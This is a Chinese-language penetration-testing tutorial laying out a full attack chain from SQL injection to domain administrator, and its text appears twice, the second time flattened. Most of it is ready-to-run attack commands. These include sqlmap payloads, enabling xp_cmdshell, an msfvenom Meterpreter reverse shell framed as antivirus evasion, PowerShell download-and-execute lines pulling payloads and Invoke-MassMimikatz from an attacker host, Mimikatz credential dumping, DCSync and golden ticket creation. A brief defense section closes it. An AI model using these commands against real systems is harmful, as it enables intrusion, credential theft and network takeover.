渗透笔记:如何通过SQL注入漏洞拿到系统的管理员权限
字数 1690 2025-08-29 08:31:35

SQL注入漏洞利用与权限提升全流程教学

1. 信息收集阶段

1.1 被动信息收集(OSINT)

  • IP地址段与域名收集

    • 使用WHOIS查询获取目标组织的IP地址段
    • 通过DNS枚举获取所有相关域名和子域名
    • 工具推荐:dig, nslookup, Sublist3r
  • 第三方平台信息检索

    • GitHub代码仓库搜索(可能泄露API密钥、数据库凭证等)
    • Pastebin等文本分享平台搜索目标组织相关信息
    • 工具推荐:Gitrob, truffleHog
  • Shodan等搜索引擎利用

    • 搜索暴露的服务和过时软件
    • 识别开放端口和潜在漏洞
    • 工具推荐:Shodan, Censys, ZoomEye

2. SQL注入漏洞利用

2.1 漏洞识别与验证

  • 使用SQLMap进行自动化检测

    sqlmap -u "http://target.com/vuln_page?id=1" --is-dba
    
    • --is-dba参数检查当前数据库用户是否为管理员权限
  • 手动验证方法

    • 布尔型注入测试:id=1' AND 1=1-- vs id=1' AND 1=2--
    • 时间延迟测试:id=1'; WAITFOR DELAY '0:0:5'--

2.2 获取数据库访问权限

  • 获取SQL Shell

    sqlmap -u "http://target.com/vuln_page?id=1" --sql-shell
    
  • 提取数据库凭证

    • 查询用户表:SELECT * FROM sysusers
    • 提取密码哈希:SELECT username, password FROM users

2.3 密码破解

  • 哈希识别与破解
    • 使用hash-identifier识别哈希类型
    • 常用工具:John the Ripper, Hashcat
    • 示例Hashcat命令:
      hashcat -m 1000 hashes.txt rockyou.txt
      

3. 权限提升与横向移动

3.1 利用xp_cmdshell执行系统命令

  • 启用xp_cmdshell(如被禁用):

    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
    
  • 执行系统命令验证

    EXEC xp_cmdshell 'whoami'
    
  • OOB DNS验证

    EXEC xp_cmdshell 'nslookup xyz.abc.sos.notsosecure.com'
    

3.2 获取交互式Shell

  • ICMP Shell建立

    • 使用icmpsh工具建立交互式shell
    • 需要关闭目标系统的ICMP响应:
      sysctl -w net.ipv4.icmp_echo_ignore_all=1
      
  • Meterpreter Payload绕过AV

    • 使用Python Meterpreter绕过检测:
      msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> > payload.py
      
    • 通过Powershell下载执行:
      $WebRequest = New-Object System.Net.WebClient
      $WebRequest.DownloadFile('http://<IP>:8000/payload.py','C:\Windows\Temp\payload.py')
      

3.3 内网横向移动

  • 网络共享利用

    • 查找可写共享:net share
    • 上传Payload到共享目录
  • 添加内网路由

    route add 10.0.1.0 255.255.252.0 1
    
  • 内网主机发现

    • ARP扫描:arp-scan -l
    • Metasploit模块:auxiliary/scanner/portscan/tcp

4. 权限维持与域渗透

4.1 MSSQL服务利用

  • 使用破解的凭证登录其他MSSQL服务

    use auxiliary/scanner/mssql/mssql_login
    set RHOSTS 10.0.1.0/24
    set USER_FILE credentials.txt
    set PASS_FILE passwords.txt
    run
    
  • 获取SYSTEM权限Shell

    use auxiliary/admin/mssql/mssql_exec
    set CMD "powershell -e <base64_encoded_payload>"
    run
    

4.2 凭证转储技术

  • 本地哈希提取

    • 使用Meterpreter的hashdump命令
    • 或直接读取SAM数据库
  • Mimikatz内存提取

    meterpreter > load mimikatz
    meterpreter > wdigest
    meterpreter > kerberos
    
  • 大规模凭证提取

    • 使用Invoke-MassMimikatz.ps1脚本
    • 下载执行:
      IEX (New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-MassMimikatz.ps1')
      Invoke-MassMimikatz
      

4.3 域控制器攻击

  • DCSync攻击获取krbtgt哈希

    meterpreter > load kiwi
    meterpreter > dcsync_ntlm <domain>\\krbtgt
    
  • 黄金票据生成

    meterpreter > golden_ticket_create -d <domain> -k <krbtgt_ntlm> -u <username> -s <SID> -t /path/to/ticket
    

5. 防御建议

5.1 SQL注入防御

  • 使用参数化查询或预编译语句
  • 实施最小权限原则,避免使用DBA账户连接数据库
  • 禁用不必要的存储过程如xp_cmdshell

5.2 权限管理

  • 定期更换服务账户密码
  • 实施多因素认证
  • 限制域管理员账户的使用范围

5.3 监控与检测

  • 监控异常数据库查询行为
  • 设置SIEM系统检测横向移动迹象
  • 定期审计账户权限和登录活动

5.4 补丁与更新

  • 保持数据库系统和应用软件更新
  • 定期进行漏洞扫描和渗透测试
  • 建立完整的资产清单,确保所有设备都纳入管理范围

6. 攻击流程图总结

  1. 信息收集 → 2. SQL注入发现 → 3. 获取数据库访问 → 4. 凭证提取与破解 → 5. 系统命令执行 → 6. 建立持久Shell → 7. 内网探测 → 8. 横向移动 → 9. 域渗透 → 10. 获取域管理员权限

通过这一完整流程,攻击者可以从一个简单的SQL注入漏洞逐步获取整个网络的控制权,强调了纵深防御和最小权限原则的重要性。

SQL注入漏洞利用与权限提升全流程教学 1. 信息收集阶段 1.1 被动信息收集(OSINT) IP地址段与域名收集 : 使用WHOIS查询获取目标组织的IP地址段 通过DNS枚举获取所有相关域名和子域名 工具推荐: dig , nslookup , Sublist3r 第三方平台信息检索 : GitHub代码仓库搜索(可能泄露API密钥、数据库凭证等) Pastebin等文本分享平台搜索目标组织相关信息 工具推荐: Gitrob , truffleHog Shodan等搜索引擎利用 : 搜索暴露的服务和过时软件 识别开放端口和潜在漏洞 工具推荐: Shodan , Censys , ZoomEye 2. SQL注入漏洞利用 2.1 漏洞识别与验证 使用SQLMap进行自动化检测 : --is-dba 参数检查当前数据库用户是否为管理员权限 手动验证方法 : 布尔型注入测试: id=1' AND 1=1-- vs id=1' AND 1=2-- 时间延迟测试: id=1'; WAITFOR DELAY '0:0:5'-- 2.2 获取数据库访问权限 获取SQL Shell : 提取数据库凭证 : 查询用户表: SELECT * FROM sysusers 提取密码哈希: SELECT username, password FROM users 2.3 密码破解 哈希识别与破解 : 使用 hash-identifier 识别哈希类型 常用工具: John the Ripper , Hashcat 示例Hashcat命令: 3. 权限提升与横向移动 3.1 利用xp_ cmdshell执行系统命令 启用xp_ cmdshell (如被禁用): 执行系统命令验证 : OOB DNS验证 : 3.2 获取交互式Shell ICMP Shell建立 : 使用 icmpsh 工具建立交互式shell 需要关闭目标系统的ICMP响应: Meterpreter Payload绕过AV : 使用Python Meterpreter绕过检测: 通过Powershell下载执行: 3.3 内网横向移动 网络共享利用 : 查找可写共享: net share 上传Payload到共享目录 添加内网路由 : 内网主机发现 : ARP扫描: arp-scan -l Metasploit模块: auxiliary/scanner/portscan/tcp 4. 权限维持与域渗透 4.1 MSSQL服务利用 使用破解的凭证登录其他MSSQL服务 : 获取SYSTEM权限Shell : 4.2 凭证转储技术 本地哈希提取 : 使用Meterpreter的 hashdump 命令 或直接读取SAM数据库 Mimikatz内存提取 : 大规模凭证提取 : 使用 Invoke-MassMimikatz.ps1 脚本 下载执行: 4.3 域控制器攻击 DCSync攻击获取krbtgt哈希 : 黄金票据生成 : 5. 防御建议 5.1 SQL注入防御 使用参数化查询或预编译语句 实施最小权限原则,避免使用DBA账户连接数据库 禁用不必要的存储过程如 xp_cmdshell 5.2 权限管理 定期更换服务账户密码 实施多因素认证 限制域管理员账户的使用范围 5.3 监控与检测 监控异常数据库查询行为 设置SIEM系统检测横向移动迹象 定期审计账户权限和登录活动 5.4 补丁与更新 保持数据库系统和应用软件更新 定期进行漏洞扫描和渗透测试 建立完整的资产清单,确保所有设备都纳入管理范围 6. 攻击流程图总结 信息收集 → 2. SQL注入发现 → 3. 获取数据库访问 → 4. 凭证提取与破解 → 5. 系统命令执行 → 6. 建立持久Shell → 7. 内网探测 → 8. 横向移动 → 9. 域渗透 → 10. 获取域管理员权限 通过这一完整流程,攻击者可以从一个简单的SQL注入漏洞逐步获取整个网络的控制权,强调了纵深防御和最小权限原则的重要性。